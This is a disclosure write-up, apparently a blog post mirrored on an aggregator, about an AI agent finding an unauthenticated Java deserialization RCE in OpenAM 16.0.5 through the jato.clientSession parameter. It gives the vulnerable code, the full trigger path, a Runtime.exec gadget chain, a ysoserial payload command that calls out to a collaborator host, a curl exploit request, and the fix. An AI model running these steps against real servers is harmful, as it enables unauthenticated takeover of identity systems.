⚡Megatron LLM Hub
←返回搜索
Website

AI 白盒审计在 OpenAM 中挖出预认证反序列化 RCE

复现 CVE-2021-35464 同类高危模式,给出 AI 挖洞可复制的流程
rceai_agentcve
As part of our security research efforts, we’ve been using Hacktron to go after high-impact open source projects. Along with whitebox pentesting, we feed it a knowledge base of previous security research, point it at a target, and let it hunt. With threat actors already using AI, we figured we should be doing the same to stay ahead. We’re going to start publishing the results of these efforts, this is the first one. Remember CVE-2021-35464 ? Pre-auth RCE in OpenAM via unsafe Java deserialization of jato.pageSession . Textbook deserialization, custom gadget chain, full server compromise. Great research by Michael Stepankin . The agent looked at the original research, noticed JATO had one parameter that deserializes user input, and asked the obvious question: could there be another? There was. The missed sibling After CVE-2021-35464 , OpenAM patched jato.pageSession by wrapping deserialization with a WhitelistObjectInputStream that restricts loading to about 40 safe types. Gadgetes like PriorityQueue or TemplatesImpl get rejected. But JATO has a second parameter, jato.clientSession , and its deserialization lives in a completely separate code path: ClientSession.java 1 protected ClientSession(RequestContext context) { 2 this.encodedSessionString = 3 context.getRequest().getParameter("jato.clientSession"); 4 } This value gets passed into Encoder.deserialize() , which calls ApplicationObjectInputStream.readObject() with no filtering. It applies no whitelist and no restrictions, so it deserializes attacker-controlled input directly. The fix for pageSession already existed in the same codebase but was never applied to clientSession . The patched path: ConsoleViewBeanBase.java 1 protected void deserializePageAttributes() { 2 this.setPageSessionAttributes( 3 (Map) IOUtils.deserialise( 4 Encoder.decodeHttp64(pageAttributesParam), false,Loader)); 5 } The unpatched path: ClientSession.java 1 protected void deserializeAttributes() { 2 if (this.encodedSessionString != null 3 && this.encodedSessionString.trim().length() > 0) { 4 this.setAttributes( 5 (Map) Encoder.deserialize( 6 Encoder.decodeHttp64(this.encodedSessionString), false)); 7 } 8 } IOUtils.deserialise() uses a whitelist. Encoder.deserialize() does not. Trigger chain jato.clientSession deserialization does not trigger on every request. It only fires when the rendered JSP contains <jato:form> tags. Full call path from HTTP request to readObject() : GET /openam/ui/PWResetUserValidation?jato.clientSession=<PAYLOAD> → PWResetServlet.doGet() → ApplicationServletBase.processRequest() → dispatchRequest() → viewBean.forwardTo() ← JSP rendering begins → JSP <jato:form> tag → FormTag.doStartTag() → getClientSession() ← reads jato.clientSession param → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes() → Encoder.decodeHttp64() ← URL-safe Base64 decode → Encoder.deserialize() → ApplicationObjectInputStream .readObject() ← no whitelist, game over The Password Reset pages ( /ui/PWResetUserValidation , /ui/PWResetQuestion ) are ideal targets. They are unauthenticated and their JSPs include <jato:form> tags. One caveat: the request must not also carry jato.pageSession . If it does, dispatchRequest() throws a ServletException before JSP rendering begins, and the clientSession deserialization never fires. Gadget chain OpenAM 16.0.5 ships with everything needed for a Click-style gadget chain. The Clickes are repackaged under org.openidentityplatform.openam.click.control (not org.apache.click.control ), and TemplatesImpl comes from xalan-2.7.3.jar : PriorityQueue.readObject() [java.util] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare() [openam-core-16.0.5.jar] → Column.getProperty() → PropertyUtils.getObjectPropertyValue() [click-nodeps-2.3.0.jar] → Method.invoke(TemplatesImpl, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → newTransformer() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.<clinit>() [attacker bytecode] → Runtime.getRuntime().exec(cmd) The standard ysoserial Click1 gadget won’t work out of the box because of the repackaged names. We’re not releasing our custom gadget chain, but adapting Click1 to use the correct package paths and the external Xalan TemplatesImpl is trivial if you know your way around Java deserialization. Proof of concept Generate payload java --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ -jar ysoserial-all.jar OpenAM1 \ "curl http://YOUR-COLLABORATOR-ID.oastify.com" > payload.bin PAYLOAD=$(base64 < payload.bin | tr -d '\n' | tr '+/' '-_' | tr -d '=') Send the payload curl -k "https://TARGET/openam/ui/PWResetUserValidation?jato.clientSession=${PAYLOAD}" A single unauthenticated GET request, with no cookies or tokens, runs code on the server. Tested on OpenIdentityPlatform OpenAM 16.0.5 with Tomcat 10.1.52 and Java 21.0.7. Also verified on the official openidentityplatform/openam:latest Docker image with Java 25. Fix OpenAM 16.0.6 routes Encoder.deserialize() through IOUtils.deserialise() , the same WhitelistObjectInputStream that already protects jato.pageSession . Both parameters now go through identical filtering. The maintainers also added StackWalker -based call tracing to log deserialization callers. If you’re running OpenAM 16.0.5 or earlier, update now. Conclusion It’s a small variant that got missed: a sibling parameter in the same framework that nobody applied the fix to. The agent figured it out from the original research sitting in its latent space. We believe there are bugs like this all over the internet. Incomplete patches, missed siblings, slight variations of known vulns that just never got the human attention. The industry never had enough people to clear up that debt. LLMs will grind through this kind of work, but only with the right setup. One-shot prompts aren’t enough. With a knowledge base of prior research and feedback loops, the agent does better than a single-pass scan. If you maintain an open source project and want help finding these before someone else does, reach out. We’re happy to do free AI audits and help you secure your stuff. [email protected] Disclosure timeline 19 March 2026 Vulnerability reported to OpenIdentityPlatform via GHSA 20 March 2026 Report accepted by maintainer (maximthomas) 20 March 2026 CVE-2026-33439 reserved 23 March 2026 Fix merged into master (commit 014007c ) 7 April 2026 CVE-2026-33439 and GHSA-2cqq-rpvq-g5qj published 7 April 2026 Public disclosure CVE-2026-33439 | Critical | CVSS 9.8 | CWE-502 | GHSA-2cqq-rpvq-g5qj Meet our team at hacktron.ai . Reach out at [email protected] or book a call .